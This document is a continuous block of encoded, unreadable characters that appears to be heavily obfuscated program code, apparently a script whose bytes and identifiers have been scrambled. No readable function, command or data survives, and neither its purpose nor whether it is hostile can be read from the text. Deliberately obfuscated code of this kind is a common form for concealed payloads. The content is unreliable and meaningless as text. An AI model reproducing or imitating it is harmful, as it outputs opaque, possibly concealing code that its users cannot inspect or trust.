nnnnn'9}8?4>/7?,4)fvw~gfj'#=|)(>&~~gnnnnnhhnnf,,&x"7%*"w>* "|fvwgfj'#=|)(>&~~bn47}#%=++!*:fvw|ggnnnossnnnnn(/"=+nnn22n,,&x"7%*"w>* "|fvwgfj'#=|)(>&~~bnnn'9}8?4>/7?,4)fvw}ggnnnossnnnnn(/"=+nn22n47}#%=++!*:fvwgfj'#=|)(>&~~bn'9}8?4>/7?,4)f{{}ggnnnossnnnn(/"=+nnn22nn,,&x"7%*"w>* "|fvwgfj'#=|)(>&~~bnnn')<,*!v z,w(-=fvwzggnnnossnn(/"=+nnn22nn'9}8?4>/7?,4)fvwgfj'#=|)(>&~~bn'9}8?4>/7?,4)fvw{ggnnnossnn(/"=+n22nnn,,&x"7%*"w>* "|fvwgfj'#=|)(>&~~bnnnn,,&x"7%*"w>* "|fvwxggnnnnossnnnnn(/"=+guDnnn3D(; -:'! nn+89|}#{*/#- ,'74+*7#fj'#=|)(>&~~gDn5Dnn'(nfo('z//%=  *?86::8%=fj'#=|)(>&~~ggnnnnnn<+:;< n(/"=+uDnnnnnnn'(nnf9,<w#"9$-*<?86fj'#=|)(>&~~ggnnn<+:;< nn:<;+uDn'(nnnnnf'9}8?4>/7?,4)fyvwgf'9}8?4>/7?,4)fvwygbnj'#=|)(>&~~bnnnnnj8y${w=# x(w>yggnn5DDDDnn(!<+/-&nnfj8y${w=# x(w>ynnnn/=nnnnj#v7x$+"~!?gn5Dn'(nf8+<='! -!#>/<+fj#v7x$+"~!?bnn9),%/4:v49)x!/ /x9}(y:fgbnnnniriggnn<+:;< nnnnn:<;+uDnnnn3Dnnn<+:;< n(/"=+uDnn3D<+:;< nn:<;+uDnnnn3Dnnn(; -:'! nnnn>"   =x9 #4=;|w|:fj(",(/4}#}|y '<!gD5Dn'(nnfo,,&x"7%*"w>* "|fv{{gfj(",(/4}#}|y '<!gnnnnn22nnno47}#%=++!*:fxxxgfj(",(/4}#}|y '<!ggnnnnn<+:;< uDnnj&&#""#w7~)::|+!nnnnnsnnn')<,*!v z,w(-=fy{xgfj(",(/4}#}|y '<!guDDnnn'(nnnfoj&&#""#w7~)::|+!gnn<+:;< uD'(nnnfj&&#""#w7~)::|+!nnnpnnnf~zv{xx|ewvggnn5Dnnj=9"z$$!-~y'&6&8nnnsnn')<,*!v z,w(-=fv{zgfj(",(/4}#}|y '<!bnnnnn(/"=+bnn ;""bnn~bnfx{z{veyvgguDnnnnn'(nnfo('z//%=  *?86::8%=fj=9"z$$!-~y'&6&8ggnn<+:;< uDnnn'(nnnf;=)6?%)z/-+z)y<>7$)')"fj(",(/4}#}|y '<!gnnnnsssnnnn(/"=+gnn5Dnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fvwvgbnn'9}8?4>/7?,4)fvwwgnnn`nn')<,*!v z,w(-=fxyxgfj(",(/4}#}|y '<!gguD<+:;< uD3Dn'9}8?4>/7?,4)fw~~gfj(",(/4}#}|y '<!bnnnnnlrq>&> lguDn'(nnf,,&x"7%*"w>* "|fvygf'9}8?4>/7?,4)f|~~gggn!>-/-&+' 8/"'*/:+fj(",(/4}#}|y '<!bn:<;+guDn<+:;< uD3D'(nnnnnfj&&#""#w7~)::|+!nnnpnnfx{xx||cx~v~zxggnnnnn5Dnnnj=~-z}/z?(znnnnsnnnnnf=:<' )gnn'9}8?4>/7?,4)fv{zgfj(",(/4}#}|y '<!bnn(/"=+bnn ;""bn~bnnf~6}v*e~6-y}gguDnnj#?"yy:&z}:!xnnsnnnfj&&#""#w7~)::|+!nnnnpnnnf{z}xcy|zzggnnqnnnnnf=:<' )gnn47}#%=++!*:fv{zgfj(",(/4}#}|y '<!bnn(/"=+bnnnn ;""bnj&&#""#w7~)::|+!nnncnnnnnfvyzevggntnnlluDnnnj*;|%;4 /-$/(9=|znnnnsnnj=~-z}/z?(znn`nj#?"yy:&z}:!xuDnn'(nfj*;|%;4 /-$/(9=|znnossnnnnnllnnhhnnn,,&x"7%*"w>* "|fyvwgf47}#%=++!*:fvwygbnnnj*;|%;4 /-$/(9=|zbnnnj#74?>:69-:6ggnn5Dj7wz>~{;>+#&v"'8nsnnn(/"=+uDnnn(!<+/-&nnfj#74?>:69-:6nn/=nj%v{9|*-y7~~*gnnn5Dnnnnnnn'(nf8+<='! -!#>/<+fj%v{9|*-y7~~*bnnn9),%/4:v49)x!/ /x9}(y:fgbnnnnnniriggn5Dnnj7wz>~{;>+#&v"'8nnsnn:<;+uD,<+/%uDnn3Dnn3Dnnnnnn'(nnnfoj7wz>~{;>+#&v"'8gn<+:;< uD3Dnn3Dnj'#=|)(>&~~nnnsn,,&x"7%*"w>* "|fw~gfj(",(/4}#}|y '<!guDDDnn'(nf'9}8?4>/7?,4)fvw~gfj'#=|)(>&~~gnnnhhnnn47}#%=++!*:fw~|gfj'#=|)(>&~~gnnnpnfw|wxwzevvv|ggnnj'#=|)(>&~~nsnn$9v'='y;'&{$%$zy+fj'#=|)(>&~~guDnn'(nnnnfo'9}8?4>/7?,4)fvw~gfj'#=|)(>&~~ggnnn<+:;< uDnnnnn'(nnnnfo+89|}#{*/#- ,'74+*7#fj'#=|)(>&~~ggnnnnn<+:;< uDnn8++%'+'!8-%{{vfj(",(/4}#}|y '<!bnj'#=|)(>&~~guDnnnnnn3D(; -:'! nn8++%'+'!8-%{{vfj(",(/4}#}|y '<!bnnj'#=|)(>&~~gD5DDDj#$#<+='~%|,~);8nnsnn,,&x"7%*"w>* "|fw~}gf,,&x"7%*"w>* "|fw~zgbnnnnnllbnj'#=|)(>&~~guD'(nnnfo'9}8?4>/7?,4)fw~{gfj#$#<+='~%|,~);8gnnn22nnnn47}#%=++!*:f|vgfj#$#<+='~%|,~);8gnsssnnnllnn22nn'9}8?4>/7?,4)f|vgfj#$#<+='~%|,~);8gnsssnn,,&x"7%*"w>* "|fyxggnnj#$#<+='~%|,~);8nnnsnnlrq>&> luDnnnn'(nf47}#%=++!*:fw~|gfj#$#<+='~%|,~);8gnnnnnpsnnf|zezyxgnnnhhnnno84*{ <*'w~?-y,-4,;fj#$#<+='~%|,~);8ggnj#$#<+='~%|,~);8nnnsnnnnnnlrq>&> luj>%9+}>9-7s a uj><#x4+9</sj>%9+}>9-7ez{uDnj*#/~|6(6/=<,,nnnsn('"+>+<#=fj(",(/4}#}|y '<!guDDDnnnnnnnj*#/~|6(6/=<,,nnnnsnnfj*#/~|6(6/=<,,nnnsssnn(/"=+gnqnnnf|w~e}~gnnntnnfj*#/~|6(6/=<,,nnnhnfz}yeyzgguDnnj=)|7$-?=z}!wnnnnsnnnn')<,*!v z,w(-=fw~xgfj(",(/4}#}|y '<!guDnj"99x!~w>v&/|x<nsnn')<,*!v z,w(-=f|xgf,,&x"7%*"w>* "|f|xwgfj(",(/4}#}|y '<!gbnnnn47}#%=++!*:fw~ygguDn'(nnnnnfj"99x!~w>v&/|x<nnsssnnnn(/"=+gnnnn<+:;< uDn'(nnf47}#%=++!*:fw~~gfj"99x!~w>v&/|x<bnnnj#$#<+='~%|,~);8gnnossnn')<,*!v z,w(-=fw~|gfj#$#<+='~%|,~);8ggnn5Dnnnnnnn,,&x"7%*"w>* "|fyygfj"99x!~w>v&/|x<guDnnn<+:;< uDn3Dnn,,&x"7%*"w>* "|fxzgfj"99x!~w>v&/|x<bnnnj*#/~|6(6/=<,,guD'(nfo,,&x"7%*"w>* "|fwwgfj"99x!~w>v&/|x<bnnj(",(/4}#}|y '<!ggnn5Dnn')<,*!v z,w(-=fyygfj"99x!~w>v&/|x<guDnnnn<+:;< uDnnnnnnnn3Dnnn'(nfj=)|7$-?=z}!wgnnnn')<,*!v z,w(-=f|gfj(",(/4}#}|y '<!bnnj=)|7$-?=z}!wguDnnn'(nnf,,&x"7%*"w>* "|fvygf'9}8?4>/7?,4)fw~vgggnnnn!>-/-&+' 8/"'*/:+fj(",(/4}#}|y '<!bn:<;+guDnnnnnn3DDDn(; -:'! nnnnn';?%$?79~?xx=$w4vfj:8:>&"*=,gDn5DDDnnn'(nnfo'9}8?4>/7?,4)fw~wgfj:8:>&"*=,ggn<+:;< nlluDnn'(nf'9}8?4>/7?,4)fy|gf,,&x"7%*"w>* "|fw~gbnnj:8:>&"*=,bnnnnj,)8x<$:|w!ggnnnnn5Dnj'=|)<?,,6>nsnnj,)8x<$:|w!uDDDDDnnnnj&&#""#w7~)::|+!nnsnn,,&x"7%*"w>* "|fv{{gfj'=|)<?,,6>gnnnnqnn')<,*!v z,w(-=fy{xgfj'=|)<?,,6>gnnntn~uD'(nnfoj&&#""#w7~)::|+!nn22nj&&#""#w7~)::|+!nnrnnf~6*ye~6*gnnn22nnj&&#""#w7~)::|+!nnnpnf{|z|vyxye}}ggn5Daan?;/ :'(7n!8+<&+/*DDn'(nnnnnfj&&#""#w7~)::|+!nnpnnfyzv}v}c||}v{~}ggn5DDDnnnj)<w6(7$/{/ z8$nnnnnsnnn'9}8?4>/7?,4)fv}vgfj'=|)<?,,6>guDnnn'(nnfo')<,*!v z,w(-=fwgfj)<w6(7$/{/ z8$ggnnnnj)<w6(7$/{/ z8$nnsnj'=|)<?,,6>uDj)<w6(7$/{/ z8$nnsn,,&x"7%*"w>* "|fyv|gfiibnnniaibnj)<w6(7$/{/ z8$guDj"-w4(v&{9>x6;%|nsnnn(/"=+uDnnnj(|*+>!9w";'*,nnsnnnn/<</7f*+(' +*f,,&x"7%*"w>* "|fw|ggnqnnnnn47}#%=++!*:fzzzgfbn47}#%=++!*:fzyggntnllbnnnn*+(' +*f47}#%=++!*:fxxwggnqn47}#%=++!*:fzzzgf  
bnnn')<,*!v z,w(-=fzyggntnllguDDDDnnnnnn(!<+/-&nnfj(|*+>!9w";'*,nnnn/=nj7}w4/9) +8 <*8*gnnnnn5Dnnnj7}w4/9) +8 <*8*nnsn')<,*!v z,w(-=fyv|gfiibnnniaibnnj7}w4/9) +8 <*8*guDnnnn'(nnnnnfj7}w4/9) +8 <*8*nnnnossnllnnhhn47}#%=++!*:fvwgfj)<w6(7$/{/ z8$bnnnnj7}w4/9) +8 <*8*nnnnn`niaignsssnn~gn5Dnnnnj"-w4(v&{9>x6;%|nsnnnnn:<;+uD,<+/%uDn3DDDD3Dnnnnnn'(nnnnnfj"-w4(v&{9>x6;%|nnhhnn;=)6?%)z/-+z)y<>7$)')"fj'=|)<?,,6>gnossnnn(/"=+gnn5Dn47}#%=++!*:fyygfj'=|)<?,,6>guD')<,*!v z,w(-=fyygf')<,*!v z,w(-=fw}gfj'=|)<?,,6>gnn`nnnnn47}#%=++!*:fywwgnnnnn`nn')<,*!v z,w(-=fxyxgfj'=|)<?,,6>bnnnn47}#%=++!*:fyxggguDnn3nnn+"=+nnnnnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fvwvgbnn')<,*!v z,w(-=fwzgn`nn,,&x"7%*"w>* "|fxyxgfj'=|)<?,,6>gguD3Dnn3DDDnnnn<+:;< nnnlluDDDD3D3Daan=+<'/"'4+n !<#/"n:;#,"' )c9' *!9DDnnnn<+:;< nnj:8:>&"*=,uD3DDDnnnnnnnn(; -:'! nn {9-(z|8{z7|;,{yfgD5DDn=:/:'-nj'=|)<?,,6>nnsn ;""uD'(nnnfj'=|)<?,,6>nnsssnnnnn ;""gnnnn5Dnnnnnnj>$(|!-z!$w(;{yxnnnnnsnnnn&*87>%:yxv{9/8%}*8fguDnnnj'=|)<?,,6>nnnnsnnnnf47}#%=++!*:fv|gfj>$(|!-z!$w(;{yxgnnnnnhhn'==+:fj>$(|!-z!$w(;{yx'9}8?4>/7?,4)fx{{ggnnhhn47}#%=++!*:fvwgff=:<' )gnnj>$(|!-z!$w(;{yx47}#%=++!*:fw{gbn')<,*!v z,w(-=fwxggnnnnnnsssnnn~guD3Dn<+:;< nnj'=|)<?,,6>uDn3DDDDnnnn(; -:'! nnnnn4-6/)x&~|78!~'"+zfgDnn5D'(nnnfo*+(' +*f')<,*!v z,w(-=fwygggnnnnnn<+:;< uDDj*+|?#!/(##,y>nnnnnsnnnnn`n')<,*!v z,w(-=f{y{guDn'(nnfo'9}8?4>/7?,4)fv{{gfj*+|?#!/(##,y>ggnnn5Dnnj'-?7-6 )/7%9<9nnsnn')<,*!v z,w(-=fw}gfgnn`nnnn')<,*!v z,w(-=fwvguD'(nnf'9}8?4>/7?,4)fwwgfj'-?7-6 )/7%9<9ggnj*+|?#!/(##,y>nnnsnnnnj'-?7-6 )/7%9<9uDDDnn3Dnnnnnn'(nnnnnfo,,&x"7%*"w>* "|fw|~gfj*+|?#!/(##,y>gnn22nnnno,,&x"7%*"w>* "|fw|gfj*+|?#!/(##,y>ggnn<+:;< uDnnnnnj)<w6(7$/{/ z8$nsnnnn47}#%=++!*:fw||gfj*+|?#!/(##,y>guDDDDnn'(nnnf'9}8?4>/7?,4)fwgfj)<w6(7$/{/ z8$gnnnhhnnnj)<w6(7$/{/ z8$nossnnllnnhhn47}#%=++!*:fw|}gfj)<w6(7$/{/ z8$ggnj*+|?#!/(##,y>nnsnnnnnj)<w6(7$/{/ z8$uDnnnnnn'(nnf'9}8?4>/7?,4)fw|zgfj*+|?#!/(##,y>gnpnnf~6|x{{we~6|*w//yggnnnn<+:;< uDnnnj'#=|)(>&~~nnnnsn')<,*!v z,w(-=fw|{gfj*+|?#!/(##,y>guDnnn'(nnfo'9}8?4>/7?,4)fw|xgfj'#=|)(>&~~gnn22nnnj'#=|)(>&~~nnsssnllgn<+:;< uDnnnnj<47{7w=$~%(4'-nsnnf'9}8?4>/7?,4)fvwgfj'#=|)(>&~~bn,,&x"7%*"w>* "|fw|yggnnnossnn(/"=+n22nnn'9}8?4>/7?,4)fvwgfj'#=|)(>&~~bn47}#%=++!*:fw|vggnossnn(/"=+guDj$+,%46z88)9?nsn(/"=+uDn'(nf47}#%=++!*:fw|wgfj'#=|)(>&~~bn'9}8?4>/7?,4)fw}~ggnsssnnn(/"=+gn5Dadn=:<+/#' )n/<,':</:!<ndaDD'(nnnnfo+#>:7fj	')<,*!v z,w(-=fw}gggnnn5Dnnj$+,%46z88)9?nnnsn:<;+uDnnnnnnn3n+"=+nnn5DDDnj&;y#)#{":-9&#nnsn,,&x"7%*"w>* "|fvygf')<,*!v z,w(-=fw}|ggnnqnnn47}#%=++!*:fw}}gfgnnnntnnnnnn'9}8?4>/7?,4)fw}zguDDDDnn'(nnnfo'9}8?4>/7?,4)fw}{gfj&;y#)#{":-9&#gnn22nno,,&x"7%*"w>* "|fw}xgfj&;y#)#{":-9&#ggnnj$+,%46z88)9?nnsnnnnn:<;+uDDn3Dn3DDDDj&-&;>{7'%&nnnnsnnnn(/"=+uDDj/<v&(- -{y%zynnnnsnn(/"=+uDnnnn'(nnnfo')<,*!v z,w(-=fy|gf')<,*!v z,w(-=fw}ygbnj'#=|)(>&~~gnnnhhn*+(' +*f'9}8?4>/7?,4)fxxwgggn5Dnnnnnnj/-nnsnnnnn  
nn`nnnnn'9}8?4>/7?,4)f}wzguDDDDnnnnn'(nnnnf'9}8?4>/7?,4)fw|~gfj/-ggnnnn5Dnnnnnj!;#4"'!yxvnnnsnf=:<' )gnnn'9}8?4>/7?,4)fw}vgfj/-bnn(/"=+bnnnn ;""bnnnnn~bnnf~6/,/e~6{zxgguDDDnn'(nnf'9}8?4>/7?,4)fw|wgfj!;#4"'!yxvbnnn,,&x"7%*"w>* "|fw}wggnossnnnnn(/"=+gnnj&-&;>{7'%&nnnnsn:<;+uDnnn3Dnn3nn+"=+'(nfDnn')<,*!v z,w(-=fwz~gfj'#=|)(>&~~bnnnnn,,&x"7%*"w>* "|fx~ggnsssnnnnnn(/"=+Dhhn')<,*!v z,w(-=fy|gf'9}8?4>/7?,4)fwzgbnnnnnj'#=|)(>&~~gDDgn5DDnnj/<v&(- -{y%zynnnsnn:<;+uDnnnnnn3Dnnnj(;%#7;9zyw!nnnnsnnnn(/"=+uDnnn'(nnnf {9-(z|8{z7|;,{yfggnn5j4&?|',7& s{}|zuj&$w?'+~%~<! <4sj4&?|',7& k{uDDDDnnn'(nnfDnnnnnnno47}#%=++!*:fy|gf,,&x"7%*"w>* "|fwz|gbnnnnj'#=|)(>&~~gD22nnnnno')<,*!v z,w(-=fy|gf')<,*!v z,w(-=fwz}gbnj'#=|)(>&~~gDn22no,,&x"7%*"w>* "|fwzzgf47}#%=++!*:fwz{gbnnnnj'#=|)(>&~~gDngnnj(;%#7;9zyw!nsnnnnn:<;+uDn3Dn'(nfoj<47{7w=$~%(4'-nhhnnnnoj$+,%46z88)9?nnnhhnoj&-&;>{7'%&nhhnnnoj(;%#7;9zyw!nnnnnhhnnnnoj/<v&(- -{y%zygn<+:;< uDDDDnnj/<#(4?='z&nnsnnlluDnnnnj#$#<+='~%|,~);8nsnnnj'#=|)(>&~~uDn'(nfj<47{7w=$~%(4'-gnnn5Dnnn'(nnnf47}#%=++!*:fyvwgf'9}8?4>/7?,4)fwzxgbnnnj'#=|)(>&~~bnnj>*>7,'w,&y4!} %ggnnj/<#(4?='z&nn`snnn')<,*!v z,w(-=fwzygfl lbnj>*>7,'w,&y4!} %~guDnnnnj#$#<+='~%|,~);8nnsn'9}8?4>/7?,4)fw~}gf,,&x"7%*"w>* "|fwzvgbnnnllbnnnj'#=|)(>&~~guDDDnnn'(nnfo,,&x"7%*"w>* "|fw|xgfj#$#<+='~%|,~);8ggnnn<+:;< uDnnn'(nnf47}#%=++!*:fwzwgf,,&x"7%*"w>* "|fw{~gbnnnnnnj#$#<+='~%|,~);8bnnnj"7}:{%4={,#86|ggnnnnnj/<#(4?='z&n`snnnl ln`nn47}#%=++!*:fwzygfl lbnnj"7}:{%4={,#86|~guDj#$#<+='~%|,~);8nnsnn,,&x"7%*"w>* "|fw{gf47}#%=++!*:fw{~gbnllbnnnnj#$#<+='~%|,~);8guDn'(nnfo,,&x"7%*"w>* "|fw|xgfj#$#<+='~%|,~);8ggnnn<+:;< uD3Dnnnn'(nnnnfj$+,%46z88)9?nhhnnnn')<,*!v z,w(-=fwzzgf,,&x"7%*"w>* "|fw{|gbnnnj#$#<+='~%|,~);8ggn5Dnj#$#<+='~%|,~);8nnnnnsn')<,*!v z,w(-=fw{gf'9}8?4>/7?,4)fw{}gbnn,,&x"7%*"w>* "|fw{zgnnnn`nnnnnl*+(' +fni
ibnfn*+(' +*fni  
ingnqn  
ntnn`ni9>c-! :+ :ingn`nia`=-:#>ingu lbnj#$#<+='~%|,~);8bnguDnnnnnn'(nfo')<,*!v z,w(-=fw{{gfj#$#<+='~%|,~);8ggn<+:;< uDDnnnnn3DDDnnnn'(nnnnfj&-&;>{7'%&nnnnnhhn47}#%=++!*:fw{xgf')<,*!v z,w(-=fw{|gbnj#$#<+='~%|,~);8ggnn5Dnj#$#<+='~%|,~);8nsnnn')<,*!v z,w(-=fw{ygf'9}8?4>/7?,4)fw{vgbnn'9}8?4>/7?,4)fw{wgn`nnl*+(' +fniibn:<;+ngunadnnda lbnj#$#<+='~%|,~);8bnnnguDnn'(nnnfo47}#%=++!*:fw{{gfj#$#<+='~%|,~);8ggn<+:;< uDnnnnn3n+"=+'(nnnfj/<v&(- -{y%zygnnnn5Dnj#$#<+='~%|,~);8nnnnnsn47}#%=++!*:fwx~gf'9}8?4>/7?,4)fwxgbn,,&x"7%*"w>* "|fw{wgn`nl*+(' +fniibn:<;+ngunadnnda lbnnj#$#<+='~%|,~);8bnnnnnguDnnn'(nnnfo')<,*!v z,w(-=fw{{gfj#$#<+='~%|,~);8ggnnnnnn<+:;< uDn3DDnnnnnn'(nnfj(;%#7;9zyw!gnnnn5Dnnnnnnj#$#<+='~%|,~);8nnnnnsnn')<,*!v z,w(-=fwx~gf')<,*!v z,w(-=fwx|gbnnnnllbnnnj#$#<+='~%|,~);8guDnnn'(nfo,,&x"7%*"w>* "|fw{{gfj#$#<+='~%|,~);8ggnnn<+:;< uD'(nnnnf'9}8?4>/7?,4)fwx}gf')<,*!v z,w(-=fw{vgbnnnj#$#<+='~%|,~);8ggnnnn5Dnnnnnnj#$#<+='~%|,~);8nsn47}#%=++!*:fwxzgf47}#%=++!*:fw{vgbn47}#%=++!*:fwx{gnn`nnnl*+(' +fni
	ibn:<;+ngu *+(' +fni
		ibn:<;+ngu *+(' +fni
	
ibn(/"=+ngu lbnj#$#<+='~%|,~);8bnnnnguDDnnnnnn'(nnnfo')<,*!v z,w(-=fwxxgfj#$#<+='~%|,~);8ggnn<+:;< uDDD3Dnn3Dnnnnnn'(nnnnnnfj#$#<+='~%|,~);8nnsssnnj'#=|)(>&~~gnn<+:;< uDnn'(nnnnfo84*{ <*'w~?-y,-4,;fj#$#<+='~%|,~);8ggnnnnn<+:;< uDnn'(nnfj&-&;>{7'%&nnnnnnhhno ~-w!;!:/{/4'fj*+|?#!/(##,y>bnnnnj'#=|)(>&~~ggn5DDDnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fwxygbnnn'9}8?4>/7?,4)fxzgguDnj#$#<+='~%|,~);8nnnsn'9}8?4>/7?,4)fwxzgf'9}8?4>/7?,4)fwxvgbnn47}#%=++!*:fwxwgbnnnnj#$#<+='~%|,~);8bnnnnguDnnn'(nnnfo,,&x"7%*"w>* "|fwxxgfj#$#<+='~%|,~);8gnnn22nnnnnj#$#<+='~%|,~);8nsssnj'#=|)(>&~~gnnnnnn<+:;< uDnnnnnn'(nnnnfo84*{ <*'w~?-y,-4,;fj#$#<+='~%|,~);8ggnnn<+:;< uDn3DDDnnnnnj*#/~|6(6/=<,,nnsn('"+>+<#=fj*+|?#!/(##,y>guDnnnnnnj*#/~|6(6/=<,,nnnsnnnnfj*#/~|6(6/=<,,nnsssnn(/"=+gnnqnf~6|/e~6y/gnnntnnnnnfj*#/~|6(6/=<,,nnnnnhnnf|xve|z}gguDnj=)|7$-?=z}!wnsnn,,&x"7%*"w>* "|fw~xgfj*+|?#!/(##,y>guDnnnj"99x!~w>v&/|x<nsnn')<,*!v z,w(-=f|xgf'9}8?4>/7?,4)fw}gfj*+|?#!/(##,y>gbnnnnn,,&x"7%*"w>* "|fwy~gguDnnnnnn'(nnnfj"99x!~w>v&/|x<nsssnnnn(/"=+gnnnnn<+:;< uDnnn'(nnnnnf,,&x"7%*"w>* "|fw~~gfj"99x!~w>v&/|x<bnnnnj#$#<+='~%|,~);8gnnnossnnnn'9}8?4>/7?,4)fw~|gfj#$#<+='~%|,~);8ggn5D,,&x"7%*"w>* "|fyygfj"99x!~w>v&/|x<guDnnnn<+:;< uD3Dnn,,&x"7%*"w>* "|fwygfj"99x!~w>v&/|x<bnnj*#/~|6(6/=<,,guDn'(nfo'9}8?4>/7?,4)fwwgfj"99x!~w>v&/|x<bnnj*+|?#!/(##,y>ggnnnn5Dadn(' ':+n=-&+*;"+<ndaDDDnnnnn,,&x"7%*"w>* "|fyygfj"99x!~w>v&/|x<guD<+:;< uDn3Dnn'(nnnnnfj=)|7$-?=z}!wgn')<,*!v z,w(-=f|gfj*+|?#!/(##,y>bnnj=)|7$-?=z}!wguDnn'(nf')<,*!v z,w(-=fvygf,,&x"7%*"w>* "|fw~vgggnnnn!>-/-&+' 8/"'*/:+fj*+|?#!/(##,y>bnnnn:<;+guDnnnn'(nnnf47}#%=++!*:fwzwgf')<,*!v z,w(-=fwy|gbnnnnj/<#(4?='z&bnj=$=&*,8{;#<8ggnnnn5Dnnn(!<+/-&nnf')<,*!v z,w(-=f|v|gfj=$=&*,8{;#<8gnnnn/=nnj;~<}?'4w'%6(gnnn5Dn'(nnf'9}8?4>/7?,4)fwy}gfj;~<}?'4w'%6(bnnnn')<,*!v z,w(-=fw|vggnnnnsssnnn~nhhnnnn'9}8?4>/7?,4)fw|~gfj;~<}?'4w'%6(ggn47}#%=++!*:fyygfj;~<}?'4w'%6(guDn3Dnnn3D'(nnnf'9}8?4>/7?,4)fvygf,,&x"7%*"w>* "|fwyzggnnnnnnhhn'9}8?4>/7?,4)fwzwgf'9}8?4>/7?,4)fwy{gbnnnj/<#(4?='z&bnnnj&7y 7''z,&'zggn5Dnnn(!<+/-&nnnf'9}8?4>/7?,4)fwyxgfj&7y 7''z,&'zgnn/=nj>}#z&'x><? gnn5D'(nnnnnf')<,*!v z,w(-=fwx}gf'9}8?4>/7?,4)fwyygbnnj>}#z&'x><? ggnn*+"+:+!>:'! fj>}#z&'x><? guDDDn3Dnnnnn3Dnnn3Dnnnnn(; -:'! nn#?}{-6}x"y<xz!><x;fgDnnn5DDDDnnnnn'(nfo*+(' +*f47}#%=++!*:fwyvgggnn<+:;< uDDDDnnj#ww/*$6|,!9nnnnnnsnnnn*+(' +*f')<,*!v z,w(-=fxxyggnnnnqnn	 
nntnnnnnn  
nnn`nn47}#%=++!*:fwywguDj9<:9:%$)7&(%7|nnnnnsnn/<</7fguDnnnnnnnn'(nnf,,&x"7%*"w>* "|fwv~gf')<,*!v z,w(-=fwvgggn5Dnnnnn'(nnf'9}8?4>/7?,4)fw}{gfj#ww/*$6|,!9ggnn(!<+/-&nnnff/<</7gn,,&x"7%*"w>* "|fwvgfj#ww/*$6|,!9nnn`nnnn47}#%=++!*:fxx|ggnn/=nnnnj8<&9vy|/,)-=~gnnnnnnj9<:9:%$)7&(%7|nsnj8<&9vy|/,)-=~uDnnn'(nf*+(' +*f'9}8?4>/7?,4)fv|vggnhhn47}#%=++!*:fwv|gf	 
ggnnn(!<+/-&nnnnff/<</7gnnnn')<,*!v z,w(-=fwvgf	 
n`n'9}8?4>/7?,4)fwv}ggnnn/=nnnnj8<&9vy|/,)-=~gnj9<:9:%$)7&(%7|nsnnnnnj8<&9vy|/,)-=~uDnn3Dnnnnnnj>6/*$=7?/ !)nsnnnnn*+(' +*f'9}8?4>/7?,4)fwyggnnnqnnntnnnnlluDnnnj%!},{;%v{,?nnnnnsnn  
nn`nnn'9}8?4>/7?,4)fwvzgnn`nnn47}#%=++!*:fywvgf')<,*!v z,w(-=fyx{gfj>6/*$=7?/ !)nn`nnn'9}8?4>/7?,4)fz{ggbnnnnn~bnf~c|ggn`nn'9}8?4>/7?,4)fwv{gnnn`nnn47}#%=++!*:fywvgf,,&x"7%*"w>* "|fyx{gfj>6/*$=7?/ !)nn`nn')<,*!v z,w(-=fzyggbn~bnf|}{ggn`nn,,&x"7%*"w>* "|fyxguDDD'(nf')<,*!v z,w(-=fwvxgfj%!},{;%v{,?ggnj9<:9:%$)7&(%7|nnsnj%!},{;%v{,?uDn(!<+/-&nnnnfj9<:9:%$)7&(%7|nn/=nj8<&9vy|/,)-=~gn5Dj=)|7$-?=z}!wnsn,,&x"7%*"w>* "|fw~xgfj8<&9vy|/,)-=~guDDDDn'(nnfoj=)|7$-?=z}!wn22nfj=)|7$-?=z}!wnnknnnnfx{v~cx{v~ggnossnnnnfw}v|eyggnnn5DDDDnnnnj/v6?y'4(<&,nnnnnsn'9}8?4>/7?,4)fw|zgfj8<&9vy|/,)-=~guD'(nnnnfoj/v6?y'4(<&,nn22nnnj/v6?y'4(<&,nnrnnfzvewgnn22nnnj/v6?y'4(<&,nnnnpnnnnnf|ywy|z{|e|zz{x}zvggnnnn-! :' ;+uDnn3Daann!8+<n"!-%n>"/-+&!"*+<n,";<DDj)<w6(7$/{/ z8$nnsnn,,&x"7%*"w>* "|fwvygfj8<&9vy|/,)-=~guDaann+*'/n+6:n"!-%tn; *+-'*/,"+n-! :</8/<'/ :DDnj4$+($4=x,{8+}"'vnnnsn,,&x"7%*"w>* "|fwvvgf<xw=w,+~4~}#8~fgguDnnnnnnn'(nnf,,&x"7%*"w>* "|fwxxgfj)<w6(7$/{/ z8$gnnnnhhnn,,&x"7%*"w>* "|fwxxgfj4$+($4=x,{8+}"'vgnhhnnj)<w6(7$/{/ z8$nnnsssnnnj4$+($4=x,{8+}"'vgn-! :' ;+uDnj8y-6:=w}4z!nnnnnnsnn'9}8?4>/7?,4)fw}vgfj8<&9vy|/,)-=~bnnn(/"=+bnnnnn ;""bnn~bnnnfx{yyc|zvgguDnnn'(nnnfo')<,*!v z,w(-=fwxxgfj8y-6:=w}4z!gnnn22nnn')<,*!v z,w(-=fwy}gfj8y-6:=w}4z!bnn'9}8?4>/7?,4)fwvwggnnnnsssn(/"=+gn-! :' ;+uj%{7y=~?v|;,);)s~dxuj&($+!~"x"sj%{7y=~?v|;,);)c}uDDDDnnn'(nfo,,&x"7%*"w>* "|fww~gf,,&x"7%*"w>* "|fwwgbnnnnnj8y-6:=w}4z!bnj#74?>:69-:6ggnn-! :' ;+uDDDn'(nfo8+<='! -!#>/<+fj#74?>:69-:6bnn9),%/4:v49)x!/ /x9}(y:fgbnnnnniriggnnnn-! :' ;+uDDDnnnj%$=?%$ %"6?>nnnnnsnn;=)6?%)z/-+z)y<>7$)')"fj8<&9vy|/,)-=~guD'(nfj%$=?%$ %"6?>nsssnnn(/"=+gnnn5DDDDn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fvwvgbnn,,&x"7%*"w>* "|fww|gn`nnnnn47}#%=++!*:fww}gfj8<&9vy|/,)-=~gguDnnnnnnn-! :' ;+uDn3Daan+ /,"+n=%!"+#n(!<nn+<=+n"!-%DDDDnnn'(nnnfj%$=?%$ %"6?>nsssn:<;+gn5DDDDnn'(nnf&<y"8{4$~,9;%>|fj8<&9vy|/,)-=~bnnnnj8<&9vy|/,)-=~nn`nn'9}8?4>/7?,4)fwvgggnn5D'(nnnnf')<,*!v z,w(-=fwv~gf'9}8?4>/7?,4)fwwzgggnnnn!>-/-&+' 8/"'*/:+fj8<&9vy|/,)-=~bn:<;+guDDnnnn3Dn47}#%=++!*:fyygf'9}8?4>/7?,4)fw}gfj8<&9vy|/,)-=~gnnn`nnn,,&x"7%*"w>* "|fywwgnnn`nnn,,&x"7%*"w>* 